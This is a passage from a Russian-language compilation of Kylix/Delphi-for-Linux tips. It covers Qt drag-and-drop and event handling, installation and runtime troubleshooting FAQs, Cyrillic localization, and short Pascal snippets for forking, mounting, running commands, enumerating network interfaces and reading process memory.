Функции QEvent_isQDragEnterEvent, QEvent_isQDragMoveEvent и QEvent_isQDropEventEvent служат для идентификации событий. Порядок их вызова неслучаен. Отношения наследования между классами этих трех событий можно представить так: QDropEvent => QDragMoveEvent => QDragEnterEvent. Таким образом функция QEvent_isQDropEventEvent вернет значение True для всех трех событий. Действия, связанные собственно с событием DropEvent, следует выполнять только если первые проверки вернули False.

Функция QDropEvent_source вызывает метод source объекта события QDropEvent - базового объекта событий Drag and Drop. Обратите внимание на преобразование типа аргумента функции. Такое преобразование корректно, поскольку объекты QDragEnterEvent и QDragMoveEvent являются потомками объекта QDropEvent. QDropEvent_source позволяет определить источник объекта Drag and Drop. Поскольку в создаваемом приложении компонент Label является и приемником и источником объектов Drag and Drop, мы должны проверять, какой Qt объект создал данный объект Drag and Drop и не выполнять дальнейшую обработку события, если источником объекта является компонент Label1.

Функция QDropEvent_to_QMimeSource преобразует объект типа QDropEvent в объект типа QMimeSource, являющийся контейнером передаваемых данных. Функция QDropEvent_acceptAction позволяет подтвердить операцию Drag and Drop, или отказаться от нее. Первый аргумент функции - ссылка на объект QDropEvent, второй аргумент - значение True или False. Для определения того, следует ли обрабатывать событие, мы используем функцию QTextDrag_canDecode. Эта функция возвращает True, если переданный ей объект QMimeSource содержит данные в текстовом формате и False в противном случае. Функция QTextDrag_decode извлекает текстовые данные из объекта QMimeSource. Обратите внимание, что обработчик не должен пытаться уничтожить объекты QMimeSource

Для того, чтобы Qt приложение могло стать источником объектов Drag and Drop, необходимо создать объект-контейнер данных и вызвать один из методов этого объекта : drag или dragCopy. Объект для перетаскивания лучше всего создавать в момент начала движения мыши при нажатой левой кнопке. В нашем приложении эту функцию выполняет обработчик события OnMouseMove объекта Label1:

 procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
   Y: Integer);
 var
   TextDragObject : QTextDragH;
   S : WideString;
   name : PChar;
 begin
   if ssLeft in Shift then
   begin
     S:=Label1.Caption;
     name:='TextDrag';
     TextDragObject:=QTextDrag_create(@S, Label1.Handle, name);
     if QDragObject_drag(TextDragObject) then Label1.Caption:='';
   end;
 end;

Функция QTextDrag_create создает экземпляр объекта-контейнера QTextDrag. Первый параметр - указатель на строку текста, которую мы хотим скопировать. Параметр name может содержать любую строку PChar. Функция QDragObject_drag инициирует процесс Drag and Drop. Эта функция не возвращает управление до тех пор, пока пользователь не отпустит кнопку мыши. QDragObject_drag возвращает значение True, если был выбран режим перемещения данных и False, если был выбран режим копирования. Выбор режима в системе определяется состоянием клавиши Ctrl. Процедура QDragObject_dragCopy выполняет те же действия, но возвращает управление сразу и не передает программе никаких значений. Хотя функция QDragObject_drag возвращает управление обработчику только после того, как пользователь отпустит левую кнопку мыши, обработчик не должен пытаться уничтожить объект QDragObject. Время жизни этого объекта контролируется системой, и попытка уничтожить его вызовет ошибку сегментации.

Полный исходный текст демонстрационного приложения можно скачать здесь. При работе с демонстрационным приложением следует учесть, что не все приложения, написанные для Qt/KDE, поддерживают Drag and Drop. Некоторые приложения, например KWord, могут быть источниками текстовых объектов Drag and Drop, но не приемниками. Учтите также, что в настоящее время Drag and Drop в KDE работает не очень стабильно. Работая с демонстрационной программой, вы можете столкнуться с тем, что некоторые другие приложения, использующиеся как источники или приемники объектов Drag and Drop, будут зависать. Это не связано с Kylix, так как при использовании "фирменных" примеров из поставки Qt возникают те же проблемы, по крайней мере на момент написания этой статьи.

Генерация событий Qt в программе

Обычно события Qt генерируются системой в ответ на действия пользователя или события в самой системе. Однако, иногда бывает желательно вызвать обработчик события из непосредственно из программы. Для этого необходимо создать объект соответствующего события и передать его методу Qt объекта. CLXDisplay API позволяет сделать это при помощи набора функций QOpenWidget_XXXEvent, определенных для различных типов событий. В следующем небольшом примере создаются объекты событий, при помощи которых в поле ввода визуального компонента Edit1 типа TEdit вводится текст, а затем эмулируется нажатие клавиши BackSpace (код $1003), стирающее последний введенный символ.

var
  KeyEvent : QKeyEventH;
  S : WideString;
 ...
 begin
   ...
   S:='Some little text';
   KeyEvent:=QKeyEvent_create(QEventType_KeyPress, 0, 0, 0, @S, False, 0);
   QOpenWidget_keyPressEvent(QOpenWidgetH(Edit1.Handle), KeyEvent);
   QKeyEvent_destroy(KeyEvent);
   KeyEvent:=QKeyEvent_create(QEventType_KeyPress, $1003, 0, 0, nil, False, 0);
   QOpenWidget_keyPressEvent(QOpenWidgetH(Edit1.Handle), KeyEvent);
   QKeyEvent_destroy(KeyEvent);
   ...

Рассмотренный в этой статье метод обработки событий - не единственный. В следующей статье будут рассмторены перехватчики событий, а также еще один механизм взаимодействия между объектами Qt - сигналы и слоты.

Статья и примеры программ © 2001 Андрей Наумович Боровский.
Взято из http://forum.sources.ru


Libqt для Kylix с поддержкой сглаживания

Люди, просьба, проверте работает ли на ваших дистрибутивах сие чудо перед запуском программы на Kylix напишите в командной строке
export CLX_USE_LIBQT="True"
export QT_XFT="1"
скопируйте эти библиотеки в /usr/lib и попробуйте запустить потом свою прогу из этой же консоли, чтоб переменные окружения не пропали! Надеюсь заработает

http://cracker-shym.narod.ru/program/Kylix/libqt.zip
У меня на 10 SlackWare заработало

Добавил еще откомпилированную версию libqt версии 2.3.2, последнюю из QT2, вроде также работает на СлакВаре 10, попутно велез баг, известный у QT2 давно, не видит шрифты некоторые при включенном сглаживании шрифтов, так что некоторые надписи могут не показыватся пока не сменишь шрифт, а так вроде работает!

Автор: haword
Взято с Vingrad.ru http://forum.vingrad.ru


Как использовать Tray под Linux

Есть прекрасный компонент для этого:
http://www.sudemon.xaker.ru/

Автор: sudemon
Взято из http://forum.sources.ru


Проблемы установки Kylix и запуска Kylix приложений

Cодержание раздела:

Kylix 3 encounters declaration syntax errors in TIME.H
Limit reached for installs using Kylix serial number
Installing Kylix 3 Open Edition on Mandrake 9
Runtime error 230 when running Kylix application outside of the IDE
My Kylix application won't run outside the IDE.
How to run executables created in Kylix
Why can't I run my Kylix application outside of the IDE?
Error -10 when trying to install Kylix
Should I install Kylix as root or a regular user?
What is the message Generating font matrix when starting Kylix?
Problem generating font matrix in Kylix.
Error permission denied when trying to run Kylix
Unresolved external malloc referenced, Ошибка линкера Kylix 3
Запуск программы на Kylix
Установка Kylix под новые версии Linux (ядро 2.6) New!


Kylix 3 encounters declaration syntax errors in TIME.H

I am using Kylix 3, and get declaration syntax errors in TIME.H when attempting to compile any project. How can I solve this problem?

The TIME.H declaration syntax errors can be resolved by going into the Project Options and moving the reference to /usr/include up in the Include path. Preferably, /usr/include should be moved to the very first position in the ordered Include path.

The exact cause of this problem is not yet known, but it could be related to Kylix 3 finding a different version of TIME.H elsewhere on the system. For reference, Kylix 3 contains four instances of TIME.H, in the following locations:

/usr/include/linux
/usr/include/bits
/usr/include/sys
/usr/include


Limit reached for installs using Kylix serial number

I am attempting to register Kylix, but cannot and get the following error:

--------------------
Error registering software. The limit has been reached for installs using this serial number, please contact customer service to increase the allowed install count.
--------------------

How do I get around this and register Kylix?

Borland has a registration server that keeps count of how many times a product has been registered. The default count is five registrations. This error indicates that your serial number has already been registered five times, and the registration currently being attempted exceeds the count.

You can get this count increased by calling Borland's registration hotline at (888) 588-2230. Explain to the representative who answers the phone what product you have, as well as the full error message, and he or she (after asking for your relevant information) will be able to increase the count to allow for additional registrations.


Installing Kylix 3 Open Edition on Mandrake 9

How can I get Kylix 3 Open Edition installed and running on Mandrake 9?

Open a Super User Terminal, select "Sessions/New Root Midnight Commander" and in "/", create a directory "temp"

Download or copy the file kylix3_open.tar.gz into the "temp" directory you just created.

Check that all necessary programs are installed on your system:

Open kmenu/configuration/packaging/Remove Software or kpackage

Check for installation of the following:
kernel => 2.2 (mdk9.0 uses 2.4)
libgtk => 1.2 (mdk 9.0 uses 1.2-1.2.10-29)
libjpeg => 6.2 (mdk 9.0 uses 6.-66-25)
XIIR6 (XFree86) (mdk uses 4.2.1-3)
XFree86-dev (mdk9.0 uses 4.2.1-3)
glibc-dev (mdk9.0 uses 2.2.5-16)

Once you have verified that you have all of the necessary programs do the following:

In a Super User Terminal do:

cd /temp
tar zxf kylix3_open.tar.gz

In user terminal (NOT as root):

cd /temp/kylix3_open
./setup.sh

In Gui select "I Agree"
Now select "install"

Logout and log back in as same user to get the Borland Kylix entry in the KDE menu

In Borland Kylix 3 menu, select "register now"
In the Gui select "next"
In the Gui select 'Finish"
The Gui disappears and the registration process has completed.
The Kylix Delphi and Kylix C++ IDE's can now be run.


Runtime error 230 when running Kylix application outside of the IDE

Why am I getting runtime error 230 when running my application outside of the Kylix IDE?

This error generally means your application cannot find a needed library.
Tunning the command source \kylix\bin\kylixpath in Linux should fix this. See the file deploy.txt that comes with Kylix.


My Kylix application won't run outside the IDE.

Why is it when I try to run my Kylix App outside the IDE I get this message:
"error loading shared libraries: libqtintf.so: cannot open shared file: No such file or directory"?

This message and similar ones occur when ../kylix/bin is not included in your path when trying to use CLX components. Running /usr/kylix/bin/kylixpath is a short fix, but you can also add the line to your .bashrc file to set the paths whenever you start a shell. Be sure to change the appropriate .bashrc (ie. for user jbrown /home/jbrown/.bashrc).

Example .bashrc:
------------------------------
#.bashrc

..
source /usr/kylix/bin/kylixpath
..

------------------------------


How to run executables created in Kylix

Kylix produces ELF binaries so in order to run them outside the IDE you need to first run 'source kylixpath' in the kylix2/bin directory. This sets up the necessary environment variables. Then, in a command window, go the directory where your compiled binary is and enter ./Project1 if your executable is called Project1.


Why can't I run my Kylix application outside of the IDE?

What do I need to do to run a Kylix application outside of the IDE?

You need to have your LD_LIBRARY_PATH variable set to your bin directory. Your bin directory is located under your Kylix directory. You can set this by sourcing the kylixpath script. From an xterm window go to the Kylix bin directory and enter
source kylixpath
See the README file for more details.


Error -10 when trying to install Kylix

The Error -10 is a generic install error. The usual cause of this is due to a previous version of Kylix that wasn't uninstalled completely. You will need to check the RPM database to see if there are still components from Kylix installed. This can be done with command rpm -qa | grep kylix. For each of the resulting packages (if there are none, then Kylix is completely uninstalled), use rpm -e PackageName to remove them. Then, try reinstalling Kylix.

If you have Kylix completely uninstalled (the rpm -qa | grep kylix command returns nothing), and after choosing "Begin Install" from the installation, the installer aborts with an error code -10, then the problem may be do with the your locale settings. Typing the command "locale" may show LC_NUMERIC="de_DE" (the German locale, in this case). Some versions of RPM (mostly newer ones) respect this setting and will use a comma as the decimal separator. This causes a problem for the Kylix installer. The installer needs a period as the decimal separator. The workaround is to reset the LC_NUMERIC environment like this:

export LC_NUMERIC="en_US"

Once installation is finished, you can reset this value by setting it to the original locale. This problem can occur for any locale which does not use a period as the decimal separator.

It's possible that a previous version of Kylix was not uninstalled completely or that there is a problem with the RPM. [{more info}]. There are a couple ways to work around this. The first is to install as a user other than root. If you would rather not do this you can use the "-m" option on the setup script. So you would enter: ./setup.sh -m from a vterm. This tells the script to not use the RPM.

Примечание от Vit: обычно ошибка возникает при попытке установить Kylix от имени root и разрешается простой установкой Kylix от имени обычного пользователя.


Should I install Kylix as root or a regular user?

Installing Kylix as root has the advantage of allowing all users to access the Kylix installation, provided you install it into a "shared" location. I reccomend installing Kylix as root into the directory /usr/local/kylix. However, if you are going to be the only user using Kylix, you may want to install it as that user into your home directory.

To install as root, type su from the command prompt and enter the super user password. Then, run the Kylix installer.

Примечание от Vit: обычно при установке от имени root возникает ошибка -10


What is the message Generating font matrix when starting Kylix?

Why am I getting a message that says "Generating font matrix. Please wait" when I start Kylix?

This should only happen the first time you start Kylix using the startkyix script. The font matrix is used by the Wine implementation of the Win32 API and you should wait until it finishes. There have been reports of this appearing to take forever in some Linux versions. If it seems to take too long you can try canceling it and Kylix should still run okay.


Problem generating font matrix in Kylix.

My install of Kylix was successfull but after startup with "startkylix" I see the message "generating font matrix" forever. What should I do about this?

If you installed as root the font matrix will be created for each user the first time they start Kylix. How long it takes depends on the number of fonts that you have installed and the speed of your machine. If it seems to freeze or last a long time you should still be able to run Kylix even if you terminate the font matrix generation.

Possible workarounds
This problem could be caused by a bad truetype font. If you have any Windows tt-fonts installed try removing them. Another thing to try is to change the order of the font search path in XF86Config or in your tt-fontserver. Try to put the tt-fonts at the end of the list.

Here is another suggestion from our newsgroups:
Rename the file "transdlg" located in your Kylix bin directory to "transdlg.renamed" and then run Kylix.

This is an issue we are currently looking into. This document will be updated when more information is available.


Error permission denied when trying to run Kylix

If you installed as root and accepted the defaults then Kylix was installed under the /root directory. By default the permissions for this directory are 700 so only the root user can access this directory tree for read, write or execute. If users besides root are to use Kylix it must be installed in a directory all will have access to. See the file INSTALL that comes with Kylix for more information.


Unresolved external malloc referenced, Ошибка линкера Kylix 3

Ошибка возникает на Kilyx 3 (C++ IDE) установленном на новых версиях Linux.

Требуется установить специальный Патч

http://forum.sources.ru/index.php?act=Attach&type=post&id=262358

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято из http://forum.sources.ru


Запуск программы на Kylix

Обычно при запуске приложения на Kylix без самого Kylix выскакивают различные трудно понятные ошибки. Они связаны с тем что приложение не может найти нужные ему библиотеки.

В простейшем случае достаточно предпринять следующие шаги:

1) создать папку
/usr/lib/borland

2) В эту папку скопировать файл libborqt-6.9.0-qt2.3.so с машины где установлен Kylix

3) Создать символьный линк libborqt-6.9-qt2.3.so на этот файл (команда linux ln -s )

4) Отредактирвоать файл в папке /home/[ваш логин] по имени .bash_profile (внимение файл скрытый!)

PATH=$PATH:$HOME/bin:.
export LD_LIBRARY_PATH=/usr/lib/borland
export PATH

5) Убедиться что у пользователя под которым вы собираетесь работать есть права на чтение и запуск libborqt-6.9.0-qt2.3.so и libborqt-6.9-qt2.3.so

5) Перезагрузить компьютер

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято из http://forum.sources.ru


Установка Kylix под новые версии Linux (ядро 2.6)

Взято с http://www.nux.co.za/

Follow these steps to fix/patch kylix 3 work:

Step 1
Download the ilink and ilink.so patch provided by Andreas Hausladen here:
ilinkpatch for more info on the patch go to unvclx.sourceforge.net
To install just go to the download directory and run
./ilinkPatch /home/yourname/kylix

Step 2
Download the latest 3.6 clx patch provided by Andreas Hausladen from unvclx.sourceforge.net or here. Copy or save this file to /tmp folder
Install the patch by executing the following from the shell

tar -jxf k3patches.20040915.tar.bz2
/tmp/k3patches/installpatch

Step 3
Download and install the older compatible glibc libraries for running kylix apps from here. Save or copy it to /tmp.
Install by runing from the shell

rpm -i /tmp/compat-glibc-6.2-2.1.3.2.i386.rpm
Now the patching is complete.... now to run kylix do the following

Step 4
export LD_ASSUME_KERNEL=2.4.21

Step 5
Run/Start kylix via
/usr/local/kylix3/bin/startbcb

Step 6
Open your project and change your projects include directories via the project options by adding
/usr/i386-glibc21-linux/include
/usr/include
as the very first include paths to that your include paths..
this will fix the error so that the correct "time.h" be included.

Step 7
Change your lib paths by adding (preferably in the beginning)
/usr/i386-glibc21-linux/lib and
/usr/lib

Finally:
Open the ThrdDemo (the c++ demo included with Kylix in the examples directory) This sample demonstrates the use of threads and different sort algorithms... (remember step 6+7 for this project).
Compile and run/debug....
Congatulations!!! your have done it!!!


Как нарисовать повёрнутый текст

uses
  QT;

procedure TForm1.RotatedText(Cnv: TCanvas; Wkl: Integer; Pxy: TPoint; Txt: string);
var
  PrPoint: TPoint;
begin
  // Rotate Canvas
  QPainter_rotate(Cnv.Handle, Wkl);
  // Convert Device Coord. to Modell- Coord.
  QPainter_xFormDev(Cnv.Handle, PPoint(@PrPoint),
    PPoint(@Pxy));
  // Write text.
  Canvas.TextOut(PrPoint.X, PrPoint.Y, 'Txt');
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как отловить CLX форму?

{
  Capturing a CLX form is easy, once you know.
  It took me a little time to find out, so I'm giving the knowledge to help others :
}

type
  TFormCapturable = class(TForm)
  public
    procedure PrintOne;
  end;

var
  FormCapturable: TFormCapturable;

implementation

uses
  Qt;

procedure TFormCapturable.PrintOne;
var
  aBitmap : TBitmap;
  aWinHandle : QWidgetH;
  aWinId : Cardinal;
  x, y, w, h : integer;
begin
  // create a new bitmap to hold the captured screen
  aBitMap := TBitmap.Create;
  try
    // get a handle on the desktop
    aWinHandle := QApplication_desktop;
    // get the Id from the desktop handle
    aWinId := QWidget_winId( aWinHandle);
    // get the position and size of the windows
    x := Self.Left;
    y := Self.Top;
    w := Self.Width;
    h := Self.Height;
    // capture the window into the bitmap's pixmap
    QPixmap_grabWindow( aBitmap.Handle, aWinId, x, y, w, h);
    // save the bitmap
    aBitMap.SaveToFile( 'c:\temp\test.bmp');
  finally
    // don't forget to kill the bitmap after use.
    FreeAndNil( aBitMap);
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как использовать ресурсы?

{
  To create resource files (*.res) for Kylix you can use the Delphi
  brcc32.exe resource compiler.
  Take a look at ;http://www.swissdelphicenter.ch/en/showcode.php?id=1049

  Kylix dont support userdefined resourcetypes. Therefore you have to define
  all resources without a predefined ResType as RCDATA.

  Example with TResourceStream
  Saves the resource (in userdefined.res) with the name MYRES1 to the file
  test.txt
}

uses
  SysUtils, Types, Classes, Variants, QGraphics, QControls, QForms, QDialogs,
  QStdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

{$R *.xfm}
{$R userdefined.res}

procedure TForm1.Button1Click(Sender: TObject);
var
  stream: TResourceStream;
begin
  stream := TResourceStream.Create(HInstance, 'MYRES1', RT_RCDATA);
  with TFileStream.Create('test.txt', fmCreate) do begin
    CopyFrom(stream, stream.Size);
    Free;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как клонировать процесс?

{
  In Linux it is possible to duplicate a process with fork. In the original
  process, fork will return the handle to the duplicated process. The
  duplicated process will return zero.
}

program TestFork;

{$APPTYPE CONSOLE}

uses
  SysUtils,
  Libc;

var
  ForkedProcessHandle: __pid_t;
  bForked: Boolean;

procedure ForkNow;
begin
  bForked := true;
  ForkedProcessHandle := fork;
end;

function IsForked: Boolean;
begin
  Result := (ForkedProcessHandle = 0) and bForked;
end;

var
  Lf: Integer;

begin
  sigignore(SIGCHLD);
  bForked := false;

  WriteLn('do some stuff');

  WriteLn('before fork');
  ForkNow;
  WriteLn('after fork - we have dublicated the process');

  if IsForked then begin
    WriteLn('do some stuff in forked process (wait 5s)');
    for Lf := 0 to 50 do begin
      Write('f');
      sleep(100);
    end;
  end else begin
    WriteLn('do stuff in original process (wait 10)');
    for Lf := 0 to 100 do begin
      Write('o');
      sleep(100);
    end;
  end;

  WriteLn;

  if IsForked then
    WriteLn('forked process end')
  else
    WriteLn('original process end');
end.

{
Output of this demo app:

do some stuff
before fork
after fork - we have dublicated the process
after fork - we have dublicated the process
do some stuff in forked process (wait 5s)
fdo stuff in original process (wait 10)
ooffooffooffooffooffooffooffooffooffooffooffooffooffooffooffooffooffooff
ooffooffooffooffooffooffooffoo
forked process end
ooooooooooooooooooooooooooooooooooooooooooooooooo
original process end
}
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как сделать mount?

  The following example shows a Linux-Console application, which mount
  the floppy.
}

program Project1;

{$APPTYPE CONSOLE}
uses
  Libc;

begin
  if mount('/dev/fd0', '/mnt/floppy', 'vfat', MS_RDONLY, nil) = -1 then
    WriteLn('Mount return : ', Errno, '(', strerror(errno), ')')
  else
    WriteLn('Floppy mounted');
end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как отлаживать консольные приложения?

As with Delphi you can use Kylix to write console applications even though many
people think that's not important. ;-)

When you start a console program in the Delphi Debugger it automatically opens
a console window ("DOS command prompt") where you can see the output of e.g.
the writeln command.

Kylix doesn't do that automatically and if you don't look hard enough you might
think it is impossible to debug console applications with it.

But if you open the run / parameters dialog you will find an entry called
"Use Launcher Application" that is prefilled with xconsole. Just tick this
option and there you go.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как запустить другое приложение?

uses
  libc;

procedure TForm1.Button1Click(Sender: TObject);
var
  iPrg: Integer;
begin
  //Execute kcalc - A calculator for KDE
  iPrg := libc.system('kcalc');
  if iPrg = -1 then
    ShowMessage('Error executing your program');
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Русификация Kylix

В этой статье я решил рассказать тебе, как можно заставить Kylix уважать русский язык. Для этого нужно полностью русифицировать Linux. Это не так уж и сложно и мы сейчас полностью опишем этот процесс.

Для Kylix желательно использовать кодовую страницу KOI-8r, которая является практически стандартом русского языка в Linux. Для того, чтобы Kylix мог понимать русские шрифты, нужно сделать следующее:

1. Открыть файл /etc/sysconfig/i18n и добавить в него следующие недостающие строки:

LANG=ru
LANGUAGE=ru_RU.KOI8-R:ru #опционально
LC_CTYPE=ru_RU.KOI8-R
LC_NUMERIC=ru_RU.KOI8-R
LC_TIME=ru_RU.KOI8-R
LC_COLLATE=ru_RU.KOI8-R
LC_MONETARY=ru_RU.KOI8-R
LC_MESSAGES=ru_RU.KOI8-R
LC_ALL=ru_RU.KOI8-R
SYSFONT=UniCyr_8x16
SYSFONTACM=koi8-r

Если какие-то из этих строк уже есть в файле, то нужно отредактировать существующие.

В системе уже должны быть установлены русские шрифты. В последних дистрибутивах почти всегда идут шрифты Cronyx Cyrillic, которых достаточно для нормальной работы Kylix.

И последнее, что надо сделать - настрокить переключение клавиатуры в файле /etc/X11/XF86Config. Там нужно отредактировать следующие строки:

Option "XkbLayout" "ru(winkeys)"
Option "XkbOptions" "grp:ctrl_shift_toggle"

Последняя строка показывает как будет переключатся раскладка. В данном случае будет использоваться сочетание клавишь Ctrl+Shift.

Вот и всё!!! Желательно ещё и перегрузить Linux, чтобы он заговорил по русски.

Взято с сайта http://delphi.h5.ru


Информация о сетевых интерфейсах

unit netinfo;

interface
uses Libc;

type
  INTERFACE_INFO = packed record
    Name: string;
    IPAddress: string;
    Broadcast: string;
    NetMask: string;
    IsUp: boolean;
    IsRun: boolean;
    IsBroadcast: boolean;
    IsMulticast: boolean;
    IsLoopBack: boolean;
    IsPPP: boolean;
  end;

  TAInfo = record
    INFO: array of INTERFACE_INFO;
  end;

function EnumInterfaces(var IInfo: TAInfo): Boolean;

implementation

function EnumInterfaces(var IInfo: TAInfo): Boolean;
var SHandle: integer;
  len: longint;
  bufChar;
  ifc: ifconf;
  pifr: pifreq;
  ifr: ifreq;
  lastlen, i: integer;
  pAddrChar;
begin
  Result := False;
 //создать UDP сокет
  SHandle := Socket(AF_INET, SOCK_DGRAM, 0);
  if SHandle = INVALID_SOCKET then exit;

{
При вызове SIOCGIFCONF некоторые реализации
не возвращают ошибок, если буффер слишком мал
для хранения результата вызова (результат просто обрезается)
Поэтому надо сделать вызов, запомнить возвращенную длину,
увеличить буффер и сделать еще один вызов
ксли после этого вызова длины будут равны - OK!
иначе надо циклично увеличивать буффер.
}
  lastlen := 0;
  len := 100 * sizeof(ifreq);

  while true do
    begin
      buf := Malloc(len);
      ifc.ifc_len := len;
      PChar(ifc.ifc_ifcu) := buf;
      if ioctl(SHandle, SIOCGIFCONF, @ifc) < 0 then
        begin
          if (errno <> EINVAL) and (lastlen <> 0) then
            warn('ioctl error');
        end
      else
        begin
          if ifc.ifc_len = lastlen then break;
          lastlen := ifc.ifc_len;
        end;
      len := len + 10 * sizeof(ifreq);
      free(buf);
    end;
  Result := True;
 //здесь результат получен полностью
 //len - кол-во интерфейсов
  len := ifc.ifc_len div sizeof(ifreq);
  SetLength(IInfo.Info, len);

 //указатель - на начало буфера
  pifr := ifc.ifc_ifcu.ifcu_req;
  for i := 0 to len - 1 do
    begin
      fillchar(ifr, sizeof(ifreq), 0);
  //считать очередную порцию данных
      move(pifr^, ifr, sizeof(ifreq));

  //имя интерфейса
      IInfo.INFO[i].Name := ifr.ifrn_name;
  //адрес интерфейса
      pAddr := inet_ntoa(ifr.ifru_addr.sin_addr);
      IInfo.INFO[i].IPAddress := pAddr;

  //ШВ адрес
      ioctl(SHandle, SIOCGIFBRDADDR, @ifr);
      pAddr := inet_ntoa(ifr.ifru_netmask.sin_addr);
      IInfo.INFO[i].Broadcast := pAddr;

  //маска сети
      ioctl(SHandle, SIOCGIFNETMASK, @ifr);
      pAddr := inet_ntoa(ifr.ifru_netmask.sin_addr);
      IInfo.INFO[i].NetMask := pAddr;

  //флаги
      ioctl(SHandle, SIOCGIFFLAGS, @ifr);

      IInfo.INFO[i].IsUP := (ifr.ifru_flags and IFF_UP) = IFF_UP;
      IInfo.INFO[i].IsRun := (ifr.ifru_flags and IFF_RUNNING) = IFF_RUNNING;
      IInfo.INFO[i].IsBroadcast := (ifr.ifru_flags and IFF_BROADCAST) = IFF_BROADCAST;
      IInfo.INFO[i].IsLoopBack := (ifr.ifru_flags and IFF_LOOPBACK) = IFF_LOOPBACK;
      IInfo.INFO[i].IsPPP := (ifr.ifru_flags and IFF_POINTOPOINT) = IFF_POINTOPOINT;
      IInfo.INFO[i].IsMulticast := (ifr.ifru_flags and IFF_MULTICAST) = IFF_MULTICAST;

      inc(pifr);
    end;

end;
end.

Взято с Исходников.Ru
Автор pve


How do I create an executible file using the command line directive in Linux with Kylix?

How do I create an executable file, i.e. foo.exe, using dcc in Kylix?

Create the project file, i.e. foo.dpr, using VI, Pico or some other text writing tool. Next, at the command line type: dcc foo. You can pass in flags like -BE: dcc -BE foo, the will build and execute the file. There are a number of different flags you can pass in, look at the help for dcc for a full listing and description.

program foo

uses
  SysUtils;

begin
  writeln('Hello World');
  readln;
end.


Как посмотреть требуемые библиотеки для бинарника?

[root@snoppy hello]# ldd helloworld
   /lib/libNoVersion.so.1 => /lib/libNoVersion.so.1 (0x40018000)
   libpthread.so.0 => /lib/i686/libpthread.so.0 (0x4002f000)
   libdl.so.2 => /lib/lib/libdl.so.2 (0x40044000)
   libc.so.6 => /lib/i686/libc.so.6 (0x40048000)
   /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)


CopyFile для Linux

Function CopyFile(Org, Dest:string):boolean;
  var Source, Target:TFileStream;
begin
  Result:=false;
  try
    try
      Source:=TFileStream.Create(Org, fmShareDenyNone or fmOpenRead);
      try
        Target:=TFileStream.Create(Dest, fmOpenWrite or fmCreate);
        Target.CopyFrom(Source,Source.Size);
        Result:=true;
      finally
        Target.Free;
      end;
    finally
      Source.Free;
    end;
  except
  end;
end;

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Как запустить консольное приложение и перехватить вывод?

procedure ExecCmdine(const CmdLine: string; CmdResult: TStrings);
var
  Output: PIOFile;
  Buffer: PChar;
  TempString: string;
  Line: string;
  BytesRead: Integer;

const
  BufferSize: Integer = 1000;

begin
  Output := popen(PChar(CmdLine), 'r');
  GetMem(Buffer, BufferSize);
  if Assigned(Output) then
  try
    while feof(Output) = 0 do
    begin
      BytesRead := Libc.fread(Buffer, 1, BufferSize, Output);
      SetLength(TempString, Length(TempString)+BytesRead);
      memcpy(@TempString[length(TempString)-(BytesRead-1)], Buffer, BytesRead);
      while Pos(#10, TempString) > 0 do
      begin
        Line := Copy(TempString, 1, Pos(#10, TempString)-1);
        if CmdResult<>nil then CmdResult.Add(Line);
        TempString := copy(TempString, Pos(#10, TempString)+1, Length(TempString));
      end;
    end;
  finally
    Libc.pclose(output);
    wait(nil);
    FreeMem(Buffer,BufferSize);
  end;
end;

Примечание - под отладчиком Kylix код может не работать. Надо запускать приложение не под Kylix для того чтобы удостовериться что код работает. Кроме того некоторые консольные приложения, типа top не совсем стандартно используют консоль, поэтому я наблюдала такое явление, что top можно запустить только если запускать готовое приложение в терминале.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Как узнать загрузку CPU определённым процессом?

В коде используется функция ExecCmdine из статьи: Как запустить консольное приложение и перехватить вывод?

Procedure ReadProcLoad(Pid:string; var CPU, Mem:string);
  var t:TStringList;
      s:string;

  Function GetLine:string;
    var i:integer;
  begin
    For i:=0 to t.Count-1 do
      if (pos(Pid, t[i])<10) and (pos(Pid, t[i])>0) then Result:=t[i];
  end;

begin
  t:=TStringList.Create;
  try
    ExecCmdine('top -n1 p '+PID, t);
    try
      s:=GetLine;
      s:=GetBefore(':',s);
      s:=trim(copy(s,1,lastDelimiter(' ',s)));
      Mem:=trim(copy(s,lastDelimiter(' ',s), length(s)));
      s:=trim(copy(s,1,lastDelimiter(' ',s)));
      CPU:=trim(copy(s,lastDelimiter(' ',s), length(s)));
    except
      CPU:='-1';
      Mem:='-1';
    end
  finally
    t.Free;
  end;
end;

В процедуру передаётся PID процесса, а возвращается использование CPU и памяти процессом. Более подробную информацию можно получить запустив в консоле:

man top

Примечание - под отладчиком Kylix код может не работать. Надо запускать приложение не под Kylix для того чтобы удостовериться что код работает. Кроме того некоторые консольные приложения, типа top не совсем стандартно используют консоль, поэтому я наблюдала такое явление, что top можно запустить только если запускать готовое приложение в терминале.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Как узнать расход памяти процессом?

Расход памяти можно прочитать из виртуального файла

/proc/Pid/status

где Pid - номер процесса

Function ReadProcData(Pid:string; var VmSize, VmLck, VmRSS, VmData, VmStk, VmExe, VmLib, ProcName:string):boolean;
  var f:TextFile;
      s, stat:string;
      i:integer;

  function getbefore(substr, str:string):string;
  begin
    if pos(substr,str)>0 then result:=copy(str,1,pos(substr,str)-1)
    else result:='';
  end;

  function getafter(substr, str:string):string;
  begin
    if pos(substr,str)>0 then result:=copy(str,pos(substr,str)+length(substr),length(str))
    else result:='';
  end;

begin
  Result:=False;
  FileMode:=0;
  VmSize:='-1'; VmLck:='-1'; VmRSS:='-1'; VmData:='-1'; VmStk:='-1'; VmExe:='-1'; VmLib:='-1'; ProcName:='';
  try
    try
      try
